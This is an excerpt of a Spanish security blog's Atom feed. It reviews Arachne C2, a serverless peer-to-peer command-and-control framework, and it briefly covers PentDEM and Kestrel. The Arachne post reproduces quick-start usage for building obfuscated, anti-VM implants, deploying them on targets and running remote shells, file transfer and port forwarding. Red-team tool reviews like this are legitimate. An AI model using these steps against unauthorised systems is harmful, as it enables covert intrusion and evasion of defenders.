src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4ZExrCQw3cowEBfolYZv59DPdcphtE5ZoBKof_AHXtbt6HTfjcRWilYPfXy8BvLMPrYGQbXvHrebBHVielw-4-24ahFXJG9dAAfHsLZKwQBPm3N8n3uW71umYmxcMYYN2pyX4tIgoSFT1QWfowNUxNNp2HhSFbqMw5d22bE7i7fRECkIZKPuiP8h3euhz/s1600/pentdem_componentes.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Tras analizar su arquitectura y código fuente, la conclusión es clara: PentDEM no debe entenderse como un competidor de Nmap, Burp Suite, ffuf o nuclei. Se sitúa un nivel por encima de ellos, utilizándolos como simples actuadores dentro de un sistema de planificación inteligente. Su principal aportación no es incorporar nuevas técnicas de explotación, sino demostrar que el futuro del pentesting automatizado probablemente dependerá menos del número de herramientas disponibles y más de la calidad de los motores capaces de decidir cuándo utilizarlas, cómo correlacionar sus resultados y cómo adaptar continuamente la estrategia ofensiva.&lt;/p&gt;&lt;p&gt;PentDEM todavía se encuentra en una fase temprana de madurez, pero las decisiones arquitectónicas que incorpora —agentes autónomos, planificación adaptativa, memoria persistente, validación integrada y abstracción mediante Skills— anticipan con bastante claridad la dirección que está tomando la investigación en &lt;strong&gt;Autonomous Offensive Security&lt;/strong&gt;. Más que un simple framework de pentesting, representa una de las aproximaciones open source más interesantes hacia una nueva generación de plataformas ofensivas capaces de observar, razonar, aprender y actuar de forma cada vez más autónoma.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Proyecto&lt;/b&gt;:&amp;nbsp;&lt;a href=&quot;https://github.com/Gabson0x/pentdem&quot;&gt;https://github.com/Gabson0x/pentdem&lt;/a&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/3177721130860239669/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/07/pentdem-framework-ia.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/3177721130860239669'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/3177721130860239669'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/07/pentdem-framework-ia.html' title='PentDEM: cuando los frameworks de pentesting empiezan a pensar'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx7ZdMZvLvm2d_YXZtxI1A43vG0XURbBdm-9DckCMjv33HuMvv_7pWbX6qI0sU12hjeKAJTWvbJ6x6m_wRl18Mw1SKrGhuABe2QqshxXgSv_AJHk1Jjs_L_XcUV8xpAWfowACo5zGeU06DjvBIiIt6j4oBboe5V7Jk958CN3ZLv4AY_SBX3L_AjGyWD2rQ/s72-w200-h198-c/oodaloop.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-465390622378314411</id><published>2026-07-17T00:17:56.716+02:00</published><updated>2026-07-17T00:26:07.667+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="c2"/><category scheme="http://www.blogger.com/atom/ns#" term="evasion"/><category scheme="http://www.blogger.com/atom/ns#" term="herramientas"/><category scheme="http://www.blogger.com/atom/ns#" term="p2p"/><category scheme="http://www.blogger.com/atom/ns#" term="red team"/><title type='text'>Arachne C2: cuando el Team Server deja de existir</title><content type='html'>&lt;p&gt;Existe un supuesto que prácticamente nadie cuestiona cuando diseña un framework de &lt;b&gt;Command &amp;amp; Control&lt;/b&gt;: en algún lugar debe existir un servidor.&lt;/p&gt;
&lt;p data-end=&quot;1335&quot; data-start=&quot;839&quot;&gt;Puede estar oculto detrás de una CDN, protegido mediante redirectors, balanceado entre varios VPS o encapsulado tras múltiples capas de infraestructura efímera, pero siempre termina existiendo un punto lógico donde convergen operadores e implantes. Toda la evolución de los C2 modernos —desde Cobalt Strike hasta Sliver o Havoc— ha consistido en hacer ese servidor más resistente, más flexible o más difícil de descubrir. Muy pocos proyectos se preguntan si ese servidor debería existir siquiera.&lt;/p&gt;
&lt;p data-end=&quot;1383&quot; data-start=&quot;1337&quot;&gt;Pues hoy os traemos una herramienta de C2 que parte precisamente de esa pregunta: &lt;b&gt;Arachne C2.&lt;/b&gt;&lt;/p&gt;&lt;p data-end=&quot;1383&quot; data-start=&quot;1337&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhN4m13oYqZIDakspGGvvNKLWnv0WQKQO_finwpE_aZfrB_oTO-2xdybgrkL53isK1bn8qFdDbTTA6_wVxpNimqZooTEma8AVfR-NVHkcr7IW71w6-GDF8Q2WunIhPommsNghLgJOgBcHSx1Wo9C3jgiwfLZiwrBTY5VbaziA9hZKlODCpe7LkzE3npVQX/s1920/arachnec2.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1080&quot; data-original-width=&quot;1920&quot; height=&quot;360&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhN4m13oYqZIDakspGGvvNKLWnv0WQKQO_finwpE_aZfrB_oTO-2xdybgrkL53isK1bn8qFdDbTTA6_wVxpNimqZooTEma8AVfR-NVHkcr7IW71w6-GDF8Q2WunIhPommsNghLgJOgBcHSx1Wo9C3jgiwfLZiwrBTY5VbaziA9hZKlODCpe7LkzE3npVQX/w640-h360/arachnec2.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p data-end=&quot;1383&quot; data-start=&quot;1337&quot;&gt;El siguiente esquema refleja la arquitectura pública del proyecto: una topología &lt;strong data-end=&quot;4611&quot; data-start=&quot;4568&quot;&gt;descentralizada sin servidor C2 central&lt;/strong&gt;, con descubrimiento P2P mediante DHT, mensajería PubSub (GossipSub) y comunicaciones autenticadas y cifradas entre el operador y los agentes.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhryj8pajtFICu3rcC0CVCPLI0jQCJG5trvB1nSDGsrWP0JmCd8HnopGfNdV5SVrzPtduISWBaDqbs5ZzceVhGQBG9WnvSGtXlB91pDBl5WDcM4CXkRcpqOiltL8RWTq7jcMmx1e3gzoC23FFBg1s5jitde3-TzmDcUS77OMSq1YCTPd1qcwACrV4l6wTMp/s741/ArachneC2.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;497&quot; data-original-width=&quot;741&quot; height=&quot;430&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhryj8pajtFICu3rcC0CVCPLI0jQCJG5trvB1nSDGsrWP0JmCd8HnopGfNdV5SVrzPtduISWBaDqbs5ZzceVhGQBG9WnvSGtXlB91pDBl5WDcM4CXkRcpqOiltL8RWTq7jcMmx1e3gzoC23FFBg1s5jitde3-TzmDcUS77OMSq1YCTPd1qcwACrV4l6wTMp/w640-h430/ArachneC2.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p data-end=&quot;1383&quot; data-start=&quot;1337&quot;&gt;Lo interesante del proyecto no es que utilice&amp;nbsp;&lt;strong data-end=&quot;1441&quot; data-start=&quot;1431&quot;&gt;libp2p&lt;/strong&gt;, ni que implemente DHT, ni siquiera que emplee GossipSub como mecanismo de distribución de mensajes. Lo realmente relevante es el cambio de paradigma que propone:&amp;nbsp;&lt;b&gt;sustituir completamente el modelo cliente-servidor por una red distribuida&lt;/b&gt;&amp;nbsp;donde la infraestructura deja de ser el elemento alrededor del cual gira toda la operación.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;p data-end=&quot;1985&quot; data-start=&quot;1773&quot;&gt;Puede parecer una diferencia puramente arquitectónica, pero operacionalmente supone replantear algunos de los supuestos sobre los que se han construido las operaciones de Red Team durante los últimos quince años.&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;p data-end=&quot;2543&quot; data-start=&quot;1987&quot;&gt;En un C2 tradicional, la infraestructura constituye tanto el activo más importante como el mayor riesgo operativo. El operador dedica una cantidad considerable de esfuerzo a desplegar servidores, configurar dominios, adquirir certificados TLS, implementar redirectors, establecer perfiles de tráfico convincentes y diseñar mecanismos que permitan rotar toda esa infraestructura cuando inevitablemente termine siendo identificada. El trabajo no consiste únicamente en mantener la comunicación con los implantes; consiste en mantener con vida el Team Server.&amp;nbsp;&lt;/p&gt;&lt;p data-end=&quot;2543&quot; data-start=&quot;1987&quot;&gt;Arachne elimina completamente ese problema porque elimina el propio concepto de Team Server. No existe una dirección IP que actúe como punto central de coordinación. No existe un endpoint HTTP esperando conexiones. No existe un dominio cuya reputación pueda degradarse ni un certificado cuya huella pueda convertirse en un IOC. Lo único que existe es una colección de peers que comparten una red overlay construida mediante libp2p y que se identifican exclusivamente mediante identidades criptográficas persistentes.&lt;/p&gt;&lt;p data-end=&quot;3062&quot; data-start=&quot;2639&quot;&gt;Por otro lado, la mayor parte de los C2 modernos dedican enormes esfuerzos a camuflar el transporte. HTTP/2, WebSockets, QUIC o mTLS persiguen un objetivo común: parecer tráfico legítimo. Arachne, sin embargo, no intenta disfrazar la comunicación como tráfico web. Asume explícitamente un modelo de red completamente distinto, basado en protocolos P2P bien definidos, donde el problema deja de ser parecer una aplicación empresarial y pasa a ser construir una red distribuida suficientemente robusta para prescindir de infraestructura dedicada. Esa decisión tiene implicaciones tanto ofensivas como defensivas.&lt;/p&gt;&lt;p data-end=&quot;6169&quot; data-start=&quot;5616&quot;&gt;Desde la perspectiva del operador desaparecen IOC clásicos como dominios, certificados, redirectors o servidores de staging. Pero, al mismo tiempo, aparecen otros completamente diferentes: patrones propios del protocolo Identify de libp2p, tráfico GossipSub, intercambios asociados a Kademlia, secuencias de establecimiento del transporte Noise, mecanismos de hole punching o la propia participación en una DHT pública. Es decir, la superficie de detección no desaparece; simplemente migra desde la infraestructura hacia el comportamiento del protocolo. Y probablemente ahí reside el aspecto más interesante de Arachne. No pretende resolver el problema de la detección. Lo desplaza a una capa completamente diferente del stack.&lt;/p&gt;&lt;h3 style=&quot;text-align: left;&quot;&gt;Inicio rápido&lt;/h3&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;1. Ejecutar el operador&lt;/h4&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;./bin/arachne&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En la primera ejecución se genera un par de claves en:&lt;/p&gt;&lt;ul data-spread=&quot;false&quot;&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;~/.arachne/operator.key&lt;/code&gt; (clave privada)&lt;/li&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;~/.arachne/operator.pub&lt;/code&gt; (clave pública)&lt;/li&gt;&lt;/ul&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;2. Compilar un implante&lt;/h4&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Desde la consola del operador (&lt;code dir=&quot;ltr&quot;&gt;generate&lt;/code&gt;) o de forma independiente:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;./bin/arachne generate --os linux --arch amd64 --output ./myimplant --upx&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Parámetros disponibles:&lt;/p&gt;&lt;ul data-spread=&quot;false&quot;&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;--os&lt;/code&gt; (&lt;code dir=&quot;ltr&quot;&gt;linux&lt;/code&gt;, &lt;code dir=&quot;ltr&quot;&gt;darwin&lt;/code&gt;, &lt;code dir=&quot;ltr&quot;&gt;windows&lt;/code&gt;)&lt;/li&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;--arch&lt;/code&gt; (&lt;code dir=&quot;ltr&quot;&gt;amd64&lt;/code&gt;, &lt;code dir=&quot;ltr&quot;&gt;arm64&lt;/code&gt;)&lt;/li&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;--output&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;--pubkey&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;--upx&lt;/code&gt; (habilitado por defecto)&lt;/li&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;--obfuscate&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;--quiet&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;--antivm&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Opciones destacadas&lt;/h4&gt;&lt;ul data-spread=&quot;true&quot;&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;&lt;strong&gt;--obfuscate&lt;/strong&gt;&lt;/code&gt; elimina nombres de funciones, rutas de paquetes y cadenas literales mediante &lt;strong&gt;garble&lt;/strong&gt; (se instala automáticamente si no está presente). Puede combinarse con &lt;code dir=&quot;ltr&quot;&gt;--upx&lt;/code&gt; para aumentar la protección del binario.&lt;/li&gt;&lt;li&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;&lt;strong&gt;--antivm&lt;/strong&gt;&lt;/code&gt; incorpora detección de máquinas virtuales durante la compilación. El implante ejecuta más de &lt;strong&gt;65 técnicas de detección&lt;/strong&gt;, incluyendo:&lt;/p&gt;&lt;ul data-spread=&quot;false&quot;&gt;&lt;li&gt;Firmas CPUID&lt;/li&gt;&lt;li&gt;Prefijos MAC&lt;/li&gt;&lt;li&gt;DMI/SMBIOS&lt;/li&gt;&lt;li&gt;Identificadores de fabricantes PCI&lt;/li&gt;&lt;li&gt;Enumeración de procesos&lt;/li&gt;&lt;li&gt;Claves del registro&lt;/li&gt;&lt;li&gt;Detección de contenedores&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Todo ello utilizando un sistema de puntuación acumulativa compatible con &lt;strong&gt;VMAware&lt;/strong&gt;. Si la puntuación supera el &lt;strong&gt;50 %&lt;/strong&gt;, el implante finaliza su ejecución de forma limpia.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Implementado íntegramente en &lt;strong&gt;Go&lt;/strong&gt;, sin necesidad de CGO ni compiladores cruzados.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Cada compilación genera un &lt;strong&gt;par de claves único embebido&lt;/strong&gt;, por lo que el implante mantiene el mismo &lt;strong&gt;PeerID&lt;/strong&gt; incluso después de reiniciarse.&lt;/p&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;3. Desplegar y ejecutar el implante&lt;/b&gt;&lt;/h4&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Copiar el binario al equipo de destino y ejecutarlo:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;./myimplant&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;El implante localizará automáticamente al operador mediante la &lt;strong&gt;DHT&lt;/strong&gt;, se registrará y comenzará a comunicarse a través de un flujo persistente utilizando un mecanismo automático de mantenimiento de la conexión (&lt;em&gt;keepalive&lt;/em&gt;).&lt;/p&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;&lt;b&gt;4. Utilizar la consola del operador&lt;/b&gt;&lt;/h4&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Desde el prompt del operador:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;arachne&amp;gt; list
  0: user@hostname &lt;span class=&quot;text-token-text-primary cursor-text rounded-sm&quot; data-placeholder-token=&quot;true&quot;&gt;[linux/amd64]&lt;/span&gt; last=5s peer=12D3Koo...

arachne&amp;gt; select 0
arachne (user@hostname) &amp;gt; exec whoami&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Comandos disponibles:&lt;/p&gt;&lt;ul data-spread=&quot;false&quot;&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;list&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;select &amp;lt;n&amp;gt;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;exec &amp;lt;comando&amp;gt;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;ls &amp;lt;ruta&amp;gt;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;cd &amp;lt;ruta&amp;gt;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;pwd&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;ps&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;shell&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;portfwd &amp;lt;puerto&amp;gt; &amp;lt;host:puerto&amp;gt;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;download &amp;lt;ruta&amp;gt;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;upload &amp;lt;ruta&amp;gt;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;generate &lt;span class=&quot;text-token-text-primary cursor-text rounded-sm&quot; data-placeholder-token=&quot;true&quot;&gt;[opciones]&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;regenerate&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;help &lt;span class=&quot;text-token-text-primary cursor-text rounded-sm&quot; data-placeholder-token=&quot;true&quot;&gt;[comando]&lt;/span&gt;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code dir=&quot;ltr&quot;&gt;exit&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Dentro de la &lt;strong&gt;shell interactiva&lt;/strong&gt;, escriba &lt;code dir=&quot;ltr&quot;&gt;exit&lt;/code&gt; o pulse &lt;strong&gt;Ctrl+]&lt;/strong&gt; para regresar al prompt de Arachne.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Para obtener ayuda detallada de un comando:&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;help &amp;lt;comando&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;o&lt;/p&gt;&lt;pre dir=&quot;ltr&quot;&gt;&lt;code dir=&quot;ltr&quot;&gt;&amp;lt;comando&amp;gt; --help&lt;/code&gt;&lt;br /&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Comandos disponibles&lt;/span&gt;&lt;/h4&gt;&lt;/pre&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;Comando&lt;/th&gt;&lt;th&gt;Descripción&lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code dir=&quot;ltr&quot;&gt;list&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Muestra los implantes registrados.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code dir=&quot;ltr&quot;&gt;select &amp;lt;idx&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Selecciona un implante por su índice.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code dir=&quot;ltr&quot;&gt;ps&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Lista los procesos del implante seleccionado.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code dir=&quot;ltr&quot;&gt;ls &amp;lt;ruta&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Lista el contenido de un directorio.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code dir=&quot;ltr&quot;&gt;cd &amp;lt;ruta&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Cambia el directorio de trabajo.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code dir=&quot;ltr&quot;&gt;pwd&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Muestra el directorio actual.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code dir=&quot;ltr&quot;&gt;shell&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Abre una shell interactiva mediante un flujo directo de libp2p. Salir con &lt;strong&gt;Ctrl+]&lt;/strong&gt;.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code dir=&quot;ltr&quot;&gt;portfwd &amp;lt;puerto&amp;gt; &amp;lt;host:puerto&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Redirige un puerto local a través del implante.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code dir=&quot;ltr&quot;&gt;exec &amp;lt;comando&amp;gt; &lt;span class=&quot;text-token-text-primary cursor-text rounded-sm&quot; data-placeholder-token=&quot;true&quot;&gt;[argumentos]&lt;/span&gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Ejecuta un comando y devuelve su salida.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code dir=&quot;ltr&quot;&gt;download &amp;lt;ruta&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Descarga un archivo desde el implante.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code dir=&quot;ltr&quot;&gt;upload &amp;lt;origen&amp;gt; &amp;lt;destino&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Sube un archivo al implante.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code dir=&quot;ltr&quot;&gt;generate &lt;span class=&quot;text-token-text-primary cursor-text rounded-sm&quot; data-placeholder-token=&quot;true&quot;&gt;[opciones]&lt;/span&gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Compila un implante para cualquier sistema operativo y arquitectura. Instala automáticamente Go y &lt;strong&gt;garble&lt;/strong&gt; si es necesario. Opciones disponibles: &lt;code dir=&quot;ltr&quot;&gt;--os&lt;/code&gt;, &lt;code dir=&quot;ltr&quot;&gt;--arch&lt;/code&gt;, &lt;code dir=&quot;ltr&quot;&gt;--output&lt;/code&gt;, &lt;code dir=&quot;ltr&quot;&gt;--pubkey&lt;/code&gt;, &lt;code dir=&quot;ltr&quot;&gt;--upx&lt;/code&gt;, &lt;code dir=&quot;ltr&quot;&gt;--obfuscate&lt;/code&gt;, &lt;code dir=&quot;ltr&quot;&gt;--quiet&lt;/code&gt;, &lt;code dir=&quot;ltr&quot;&gt;--antivm&lt;/code&gt;.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code dir=&quot;ltr&quot;&gt;regenerate&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Regenera el par de claves del operador. Los implantes existentes dejarán de poder comunicarse con el nuevo operador.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code dir=&quot;ltr&quot;&gt;help &lt;span class=&quot;text-token-text-primary cursor-text rounded-sm&quot; data-placeholder-token=&quot;true&quot;&gt;[comando]&lt;/span&gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Muestra la ayuda general o la documentación de un comando concreto.&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code dir=&quot;ltr&quot;&gt;exit&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Sale del operador.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p data-end=&quot;6169&quot; data-start=&quot;5616&quot;&gt;&lt;b&gt;Proyecto&lt;/b&gt;:&amp;nbsp;&lt;a href=&quot;https://github.com/portbuster1337/ArachneC2&quot; target=&quot;_blank&quot;&gt;https://github.com/portbuster1337/ArachneC2&lt;/a&gt;&lt;/p&gt;
&lt;p data-end=&quot;6464&quot; data-start=&quot;6351&quot;&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/465390622378314411/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/07/arachne-c2-cuando-el-team-server-no-importa.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/465390622378314411'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/465390622378314411'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/07/arachne-c2-cuando-el-team-server-no-importa.html' title='Arachne C2: cuando el Team Server deja de existir'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhN4m13oYqZIDakspGGvvNKLWnv0WQKQO_finwpE_aZfrB_oTO-2xdybgrkL53isK1bn8qFdDbTTA6_wVxpNimqZooTEma8AVfR-NVHkcr7IW71w6-GDF8Q2WunIhPommsNghLgJOgBcHSx1Wo9C3jgiwfLZiwrBTY5VbaziA9hZKlODCpe7LkzE3npVQX/s72-w640-h360-c/arachnec2.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-9124400491036250133</id><published>2026-07-16T23:50:13.924+02:00</published><updated>2026-07-16T23:50:13.925+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Directorio Activo"/><category scheme="http://www.blogger.com/atom/ns#" term="evasion"/><category scheme="http://www.blogger.com/atom/ns#" term="herramientas"/><category scheme="http://www.blogger.com/atom/ns#" term="red team"/><category scheme="http://www.blogger.com/atom/ns#" term="Windows"/><title type='text'>Kestrel: reconocimiento pasivo de Active Directory con un footprint mínimo</title><content type='html'>&lt;p class=&quot;isSelectedEnd&quot;&gt;La mayoría de las herramientas de reconocimiento para Active Directory comparten un problema: aunque son extremadamente eficaces, su ejecución genera una cantidad considerable de telemetría que los EDR modernos aprovechan para identificar actividad de reconocimiento.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Proyectos como SharpHound o PowerView son ya un estándar dentro de los ejercicios de Red Team, pero precisamente por su amplia adopción también constituyen una referencia para las reglas de detección. La carga del CLR, la ejecución de PowerShell, el uso de ensamblados .NET y determinados patrones de consultas LDAP forman parte de la superficie de exposición que los defensores monitorizan habitualmente.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En este contexto resulta especialmente interesante &lt;b&gt;Kestrel&lt;/b&gt;, un proyecto open source desarrollado íntegramente en C nativo cuyo objetivo no es descubrir nuevas técnicas de enumeración, sino ejecutar las ya conocidas utilizando únicamente componentes nativos de Windows.&lt;/p&gt;&lt;div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a 